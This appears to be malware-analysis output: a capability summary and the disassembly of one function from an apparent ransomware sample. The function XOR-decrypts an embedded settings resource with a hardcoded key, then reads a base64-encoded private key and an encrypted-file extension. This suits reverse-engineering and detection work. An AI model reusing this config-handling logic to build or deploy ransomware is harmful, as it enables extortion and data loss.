Function at 0x140002a80
Capabilities:
Decode data using base64 via winapi
Encode data using xor

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rbp
push rdi
push r14
lea rbp, [rsp - 0x70]
sub rsp, 0x170
xor r14d, r14d
mov dword [rbp + 0x90], r14d
lea rcx, str.____Load_settings_from_resource..._n
call fcn.140001b40
lea rax, str.SETTINGS
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 8
movaps xmm0, xmmword [rsp + 0x40]
movdqa xmmword [rsp + 0x40], xmm0
lea r8, [rsp + 0x40]
lea rcx, [rsp + 0x50]
call fcn.140017ef0
nop
cmp byte [rsp + 0x50], r14b
je 0x14000301c
mov rbx, qword [rsp + 0x60]
sub rbx, qword [rsp + 0x58]
lea rdx, [rsp + 0x58]
lea rcx, [rsp + 0x70]
call fcn.1400109b0
mov r9d, r14d
mov r8, qword [rsp + 0x58]
test rbx, rbx
je 0x140002b6a
movabs r10, 0x2492492492492493
lea r11, str.PUTINHUILO1337
nop dword [rax]
nop word [rax + rax]
mov rax, r10
mul r9
mov rax, r9
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 3
imul rax, rax, 0xe
mov rcx, r9
sub rcx, rax
movzx edx, byte [r8 + r9]
xor dl, byte [rcx + r11]
mov rax, qword [rsp + 0x70]
mov byte [rax + r9], dl
inc r9
cmp r9, rbx
jb 0x140002b30
test r8, r8
je 0x140002ba4
mov rdx, qword [rsp + 0x68]
sub rdx, r8
mov rax, r8
cmp rdx, 0x1000
jb 0x140002b9c
add rdx, 0x27
mov r8, qword [r8 - 8]
sub rax, r8
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000307a
mov rcx, r8
call fcn.1400195ec
mov rdi, qword [rsp + 0x70]
mov qword [rsp + 0x58], rdi
mov rdx, qword [rsp + 0x78]
mov qword [rsp + 0x60], rdx
mov rax, qword [rbp - 0x80]
mov qword [rsp + 0x68], rax
mov byte [rbp + 0x90], 0
cmp rdx, rax
je 0x140002bdb
mov byte [rdx], 0
lea r8, [rdx + 1]
mov qword [rsp + 0x60], r8
jmp 0x140002bf6
lea r8, [rbp + 0x90]
lea rcx, [rsp + 0x58]
call fcn.140008d90
mov r8, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x58]
sub r8, rdi
mov rdx, rdi
lea rcx, str.___Resource:__s__i_n
call fcn.140001b90
mov qword [rbp + 0x28], r14
mov qword [rbp + 0x90], rdi
lea r8, [rbp - 0x10]
lea rdx, [rbp + 0x90]
lea rcx, [rsp + 0x40]
call fcn.140004180
nop
lea rdx, str.sPrivateKey
lea rcx, [rsp + 0x40]
call fcn.140004290
nop
xorps xmm0, xmm0
movups xmmword [rbp - 0x70], xmm0
movdqa xmm1, xmmword [0x140048e20]
movdqu xmmword [rbp - 0x60], xmm1
mov byte [rbp - 0x70], 0
mov dword [rbp + 0x90], 9
cmp byte [rax], 3
jne 0x140003080
mov rdx, qword [rax + 8]
lea rax, [rbp - 0x70]
cmp rax, rdx
je 0x140002c8b
mov r8, qword [rdx + 0x10]
cmp qword [rdx + 0x18], 0x10
jb 0x140002c81
mov rdx, qword [rdx]
lea rcx, [rbp - 0x70]
call fcn.140010a30
nop
lea rdx, [rbp - 0x70]
lea rcx, [rbp - 0x50]
call fcn.140017c90
nop
mov rdx, qword [rbp - 0x58]
cmp rdx, 0x10
jb 0x140002cd4
inc rdx
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002ccf
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400030be
call fcn.1400195ec
movdqa xmm0, xmmword [0x140048e20]
movdqu xmmword [rbp - 0x60], xmm0
mov byte [rbp - 0x70], 0
lea rsi, [rbp - 0x50]
cmp qword [rbp - 0x38], 8
cmovae rsi, qword [rbp - 0x50]
mov dword [rbp + 0x90], r14d
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x28], r14
lea rax, [rbp + 0x90]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor edx, edx
lea r8d, [r9 + 1]
mov rcx, rsi
call qword [sym.imp.CRYPT32.dll_CryptStringToBinaryW]
test eax, eax
je 0x140002fb7
mov r8d, dword [rbp + 0x90]
mov r9, qword [0x140050a80]
mov rdx, qword [0x140050a78]
mov rcx, r9
sub rcx, rdx
cmp r8, rcx
jae 0x140002d57
lea rax, [r8 + rdx]
mov qword [0x140050a80], rax
jmp 0x140002d8a
jbe 0x140002d8a
mov rax, qword [0x140050a88]
sub rax, rdx
cmp r8, rax
jbe 0x140002d72
mov rdx, r8
call fcn.140011590
jmp 0x140002d8a
sub r8, rcx
lea rbx, [r8 + r9]
xor edx, edx
mov rcx, r9
call fcn.14001bc40
mov qword [0x140050a80], rbx
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x28], r14
lea rax, [rbp + 0x90]
mov qword [rsp + 0x20], rax
mov r9, qword [0x140050a78]
xor edx, edx
lea r8d, [rdx + 1]
mov rcx, rsi
call qword [sym.imp.CRYPT32.dll_CryptStringToBinaryW]
test eax, eax
je 0x140002fb7
mov r8d, dword [rbp + 0x90]
mov rdx, qword [0x140050a78]
mov r9, qword [0x140050a80]
mov rcx, r9
sub rcx, rdx
cmp r8, rcx
jae 0x140002deb
lea rax, [r8 + rdx]
mov qword [0x140050a80], rax
jmp 0x140002e1e
jbe 0x140002e1e
mov rax, qword [0x140050a88]
sub rax, rdx
cmp r8, rax
jbe 0x140002e06
mov rdx, r8
call fcn.140011590
jmp 0x140002e1e
sub r8, rcx
lea rbx, [r8 + r9]
xor edx, edx
mov rcx, r9
call fcn.14001bc40
mov qword [0x140050a80], rbx
lea rdx, str.sEncryptedFileExtension
lea rcx, [rsp + 0x40]
call fcn.140004290
nop
xorps xmm0, xmm0
movups xmmword [rbp - 0x30], xmm0
movdqa xmm1, xmmword [0x140048e20]
movdqu xmmword [rbp - 0x20], xmm1
mov byte [rbp - 0x30], 0
mov dword [rbp + 0x90], 0x25
cmp byte [rax], 3
jne 0x1400030c4
mov rdx, qword [rax + 8]
lea rax, [rbp - 0x30]
cmp rax, rdx
je 0x140002e80
mov r8, qword [rdx + 0x10]
cmp qword [rdx + 0x18], 0x10
jb 0x140002e76
mov rdx, qword [rdx]
lea rcx, [rbp - 0x30]
call fcn.140010a30
nop
lea rdx, [rbp - 0x30]
lea rcx, [rsp + 0x70]
call fcn.140017c90
mov rbx, rax
lea rax, [0x140050b08]
cmp rax, rbx
je 0x140002f24
mov rdx, qword [0x140050b20]
cmp rdx, 8
jb 0x140002ee7
mov rcx, qword [0x140050b08]
lea rdx, [rdx*2 + 2]
cmp rdx, 0x1000
jb 0x140002ee2
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140003101
mov rcx, r8
call fcn.1400195ec
movdqa xmm0, xmmword [0x140048e10]
movdqu xmmword [0x140050b18], xmm0
mov word [0x140050b08], r14w
movups xmm0, xmmword [rbx]
movups xmmword [0x140050b08], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [0x140050b18], xmm1
mov qword [rbx + 0x10], r14
mov qword [rbx + 0x18], 7
mov word [rbx], r14w
mov rdx, qword [rbp - 0x78]
cmp rdx, 8
jb 0x140002f65
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002f60
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003101
call fcn.1400195ec
movdqa xmm0, xmmword [0x140048e10]
movdqu xmmword [rbp - 0x80], xmm0
mov word [rsp + 0x70], r14w
mov rdx, qword [rbp - 0x18]
cmp rdx, 0x10
jb 0x140002fb3
inc rdx
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002fae
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003107
call fcn.1400195ec
mov bl, 1
jmp 0x140002fb9
xor bl, bl
mov rdx, qword [rbp - 0x38]
cmp rdx, 8
jb 0x140002ff9
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002ff4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000310d
call fcn.1400195ec
mov qword [rbp - 0x40], r14
mov qword [rbp - 0x38], 7
mov word [rbp - 0x50], r14w
movzx edx, byte [rsp + 0x40]
lea rcx, [rsp + 0x48]
call fcn.140003870
nop
jmp 0x140003023
xor bl, bl
mov rdi, qword [rsp + 0x58]
test rdi, rdi
je 0x140003059
mov rdx, qword [rsp + 0x68]
sub rdx, rdi
mov rax, rdi
cmp rdx, 0x1000
jb 0x140003051
add rdx, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003074
mov rcx, rdi
call fcn.1400195ec
movzx eax, bl
lea r11, [rsp + 0x170]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret
call fcn.14002a224
nop
call fcn.14002a224
nop
mov rcx, rax
call fcn.140006240
mov qword [rbp + 0x98], rax
lea r8, [rbp + 0x98]
lea rcx, [rsp + 0x70]
call fcn.140010b90
nop
mov r8, rax
lea rcx, [rbp + 0x30]
call fcn.140010c50
lea rdx, [0x14004e040]
lea rcx, [rbp + 0x30]
call fcn.14001b288
nop
call fcn.14002a224
nop
mov rcx, rax
call fcn.140006240
mov qword [rbp + 0x98], rax
lea r8, [rbp + 0x98]
lea rcx, [rbp + 0x30]
call fcn.140010b90
nop
mov r8, rax
lea rcx, [rbp - 0x10]
call fcn.140010c50
lea rdx, [0x14004e040]
lea rcx, [rbp - 0x10]
call fcn.14001b288
nop
call fcn.14002a224
nop
call fcn.14002a224
nop
call fcn.14002a224
int3